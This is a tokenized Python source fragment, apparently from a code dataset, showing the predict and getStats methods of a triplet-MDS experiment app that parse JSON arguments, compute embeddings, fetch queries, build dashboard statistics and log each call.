"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "id_", "=_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "predi", "ct", "'_", ",_", "'", "json", "'_", ":_", "args", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "args", "\\u", "json", " ", "to", " ", "args", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "args", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "predi", "ct", " ", "input", " ", "args", "\\u", "json", " ", "is", " ", "in", " ", "impro", "per", " ", "format", "\"_", "%_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "the", " ", "fields", " ", "tha", "t", " ", "must", " ", "be", " ", "contain", "ed", " ", "in", " ", "args", " ", "or", " ", "error", " ", "occur", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "necessar", "y", "\\u", "fields_", "=_", "[_", "'", "predi", "ct", "\\u", "id", "'_", ",_", "'", "params", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "necessar", "y", "\\u", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "[_", "field_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "predi", "ct", " ", "input", " ", "argu", "ment", "s", " ", "missi", "ng", " ", "field", ":", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "str_", "(_", "field_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "predi", "ct", "\\u", "id_", "=_", "args", "\\u", "dict_", "[_", "'", "predi", "ct", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "args", "\\u", "dict_", "[_", "'", "params", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alg", "\\u", "label_", "=_", "params_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "list", " ", "of", " ", "algo", "rit", "hms", " ", "associate", "d", " ", "with", " ", "project_", "\\u\\u\\uNL\\u\\u\\u_", "alg", "\\u", "list_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "list", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "alg", "\\u", "id_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "alg", "\\u", "label_", "==_", "algorithm_", "[_", "'", "alg", "\\u", "label", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "id_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "uid_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "meta_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "predi", "ct", "\\u", "id_", "==_", "'", "get", "\\u", "embed", "ding", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "sand", "box", "ed", " ", "databa", "se", " ", "for", " ", "the", " ", "specific", " ", "app", "\\u", "id", ",", "alg", "\\u", "id", ",", "exp", "\\u", "uid", " ", "-", " ", "clos", "ing", " ", "off", " ", "the", " ", "rest", " ", "of", " ", "the", " ", "databa", "se", " ", "to", " ", "the", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rc_", "=_", "Reso", "urc", "e", "Client_", "(_", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "alg", "\\u", "uid_", ",_", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "specific", " ", "algo", "rit", "hm", " ", "to", " ", "make", " ", "calls", " ", "to", " _", "\\u\\u\\uNL\\u\\u\\u_", "alg_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "alg_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "alg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#####", " ", "Get", " ", "Embedding", " ", "#####", "_", "\\u\\u\\uNL\\u\\u\\u_", "Xd", "_", ",_", "num", "\\u", "reporte", "d\\u", "answers_", ",_", "dt_", "=_", "utils_", "._", "timeit_", "(_", "alg_", "._", "predict_", ")_", "(_", "rc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry", "\\u", "durations_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "predi", "ct", "'_", ",_", "'", "duration", "'_", ":_", "dt_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry", "\\u", "durations_", "._", "update_", "(_", "rc_", "._", "get", "Dur", "ations_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "meta_", "=_", "{_", "'", "log", "\\u", "entry", "\\u", "duration", "s", "'_", ":_", "log", "\\u", "entry", "\\u", "durations_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "[_", "'", "Xd", "'_", "]_", "=_", "Xd", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "[_", "'", "num", "\\u", "reporte", "d\\u", "answer", "s", "'_", "]_", "=_", "num", "\\u", "reporte", "d\\u", "answers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry_", "._", "update_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "EVAL", "UAT", "ION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "[_", "'", "timestamp", "'_", "]_", "=_", "str_", "(_", "log", "\\u", "entry_", "[_", "'", "timestamp", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "args", "\\u", "dict_", "=_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "predi", "ct", "\\u", "id_", "==_", "'", "get", "\\u", "querie", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "list", " ", "of", " ", "triplet", "s", " ", "from", " ", "test_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "queries_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "db_", "._", "get", "\\u", "docs", "\\u", "with", "\\u", "filter_", "(_", "app", "\\u", "id_", "+_", "':", "querie", "s", "'_", ",_", "{_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "S_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "query_", "in_", "queries_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "q", "'_", "in_", "query_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "q_", "=_", "query_", "[_", "'", "q", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "S_", "._", "append_", "(_", "q_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "params_", "[_", "'", "querie", "s", "'_", "]_", "=_", "S_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "[_", "'", "num", "\\u", "reporte", "d\\u", "answer", "s", "'_", "]_", "=_", "len_", "(_", "S_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "args", "\\u", "dict_", "=_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "args", "\\u", "out_", "=_", "{_", "'", "args", "'_", ":_", "response", "\\u", "args", "\\u", "dict_", ",_", "'", "meta", "'_", ":_", "meta_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "predi", "ct", "\\u", "json_", "=_", "json_", "._", "dumps_", "(_", "args", "\\u", "out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "predi", "ct", "'_", ",_", "'", "json", "'_", ":_", "predi", "ct", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "predi", "ct", "\\u", "json_", ",_", "True_", ",_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "predi", "ct", "'_", ",_", "'", "error", "'_", ":_", "str_", "(_", "error_", ")_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "did", "Succeed", "_", ",_", "message_", "=_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poo", "l", "Base", "d", "Triple", "t", "MD", "S_", "(_", "App", "Prototype", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Stats_", "(_", "self_", ",_", "exp", "\\u", "uid_", ",_", "args", "\\u", "json_", ",_", "db_", ",_", "ell_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Get", " ", "statistic", "s", " ", "for", " ", "the", " ", "experiment", " ", "and", " ", "its", " ", "algo", "rit", "hms", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Expect", "ed", " ", "input", " ", "(", "in", " ", "json", " ", "structure", " ", "with", " ", "string", " ", "keys", "):", "\\", "10", ";", " ", " ", "(", "string", ")", " ", "stat", "\\u", "id", " ", ":", " ", "identifi", "er", " ", "for", " ", "the", " ", "desi", "red", " ", "statistic", "\\", "10", ";", " ", " ", "(", "dict", ")", " ", "params", " ", ":", " ", "dictionar", "y", " ", "of", " ", "stat", "\\u", "id", " ", "specific", " ", "fields", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "See", " ", "Ne", "xt", ".", "util", "s", ".", "get", "\\u", "app", "\\u", "support", "ed", "\\u", "stats", "(", "app", "\\u", "id", ")", " ", "Reso", "urc", "e", "Manager", ".", "get", "\\u", "app", "\\u", "support", "ed", "\\u", "stats", "(", "app", "\\u", "id", ")", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "a", " ", "description", " ", "of", " ", "each", " ", "of", " ", "the", " ", "avail", "able", " ", "stats", " ", "and", " ", "thei", "r", " ", "inputs", " ", "and", " ", "output", "s", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app", "\\u", "id_", "=_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "get", "Stat", "s", "'_", ",_", "'", "json", "'_", ":_", "args", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "CALL", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "args", "\\u", "json", " ", "to", " ", "args", "\\u", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "args", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "get", "Stat", "s", " ", "input", " ", "args", "\\u", "json", " ", "is", " ", "in", " ", "impro", "per", " ", "format", "\"_", "%_", "self_", "._", "app", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "the", " ", "fields", " ", "tha", "t", " ", "must", " ", "be", " ", "contain", "ed", " ", "in", " ", "args", " ", "or", " ", "error", " ", "occur", "s_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "necessar", "y", "\\u", "fields_", "=_", "[_", "'", "stat", "\\u", "id", "'_", ",_", "'", "params", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "field_", "in_", "necessar", "y", "\\u", "fields_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args", "\\u", "dict_", "[_", "field_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "\"%", "s", ".", "get", "Stat", "s", " ", "input", " ", "argu", "ment", "s", " ", "missi", "ng", " ", "field", ":", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "str_", "(_", "field_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stat", "\\u", "id_", "=_", "args", "\\u", "dict_", "[_", "'", "stat", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "args", "\\u", "dict_", "[_", "'", "params", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dashboard_", "=_", "Poo", "l", "Base", "d", "Triple", "t", "MD", "SD", "ash", "board_", "(_", "db_", ",_", "ell_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "task_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "stat", "\\u", "id_", "==_", "\"", "api", "\\u", "activit", "y", "\\u", "histo", "gram", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "task_", "=_", "params_", "[_", "'", "task", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "activit", "y", "\\u", "stats_", "=_", "dashboard_", "._", "api", "\\u", "activit", "y", "\\u", "histogram_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "task_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stats_", "=_", "activit", "y", "\\u", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "stat", "\\u", "id_", "==_", "\"", "api", "\\u", "process", "Answer", "\\u", "activit", "y", "\\u", "stacked", "\\u", "histo", "gram", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "activit", "y", "\\u", "stats_", "=_", "dashboard_", "._", "api", "\\u", "process", "Answer", "\\u", "activit", "y", "\\u", "stacked", "\\u", "histogram_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stats_", "=_", "activit", "y", "\\u", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "task_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "stat", "\\u", "id_", "==_", "\"", "compute", "\\u", "duration", "\\u", "multiline", "\\u", "plot", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "task_", "=_", "params_", "[_", "'", "task", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compute", "\\u", "stats_", "=_", "dashboard_", "._", "compute", "\\u", "duration", "\\u", "multiline", "\\u", "plot_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "task_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stats_", "=_", "compute", "\\u", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "task", ",", " ", "alg", "\\u", "label_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "stat", "\\u", "id_", "==_", "\"", "compute", "\\u", "duration", "\\u", "detailed", "\\u", "stacked", "\\u", "area", "\\u", "plot", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "task_", "=_", "params_", "[_", "'", "task", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "label_", "=_", "params_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "compute", "\\u", "detailed", "\\u", "stats_", "=_", "dashboard_", "._", "compute", "\\u", "duration", "\\u", "detailed", "\\u", "stacked", "\\u", "area", "\\u", "plot_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "task_", ",_", "alg", "\\u", "label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stats_", "=_", "compute", "\\u", "detailed", "\\u", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "alg", "\\u", "label_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "stat", "\\u", "id_", "==_", "\"", "response", "\\u", "time", "\\u", "histo", "gram", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "label_", "=_", "params_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "time", "\\u", "stats_", "=_", "dashboard_", "._", "response", "\\u", "time", "\\u", "histogram_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "alg", "\\u", "label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stats_", "=_", "response", "\\u", "time", "\\u", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "alg", "\\u", "label_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "stat", "\\u", "id_", "==_", "\"", "network", "\\u", "dela", "y", "\\u", "histo", "gram", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "label_", "=_", "params_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "network", "\\u", "dela", "y", "\\u", "stats_", "=_", "dashboard_", "._", "network", "\\u", "dela", "y", "\\u", "histogram_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "alg", "\\u", "label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stats_", "=_", "network", "\\u", "dela", "y", "\\u", "stats_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "None_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "stat", "\\u", "id_", "==_", "\"", "test\\u", "error", "\\u", "multiline", "\\u", "plot", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stats_", "=_", "dashboard_", "._", "test\\u", "error", "\\u", "multiline", "\\u", "plot_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "input", " ", "alg", "\\u", "label_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "stat", "\\u", "id_", "==_", "\"", "most", "\\u", "current", "\\u", "embed", "ding", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "label_", "=_", "params_", "[_", "'", "alg", "\\u", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stats_", "=_", "dashboard_", "._", "most", "\\u", "current", "\\u", "embedding_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "alg", "\\u", "label_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "No", " ", "valid", " ", "stat", "\\u", "id", " ", "provided", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "json_", "=_", "json_", "._", "dumps_", "(_", "stats_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "get", "Stat", "s", "'_", ",_", "'", "json", "'_", ":_", "response", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "response", "\\u", "json_", ",_", "True_", ",_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", 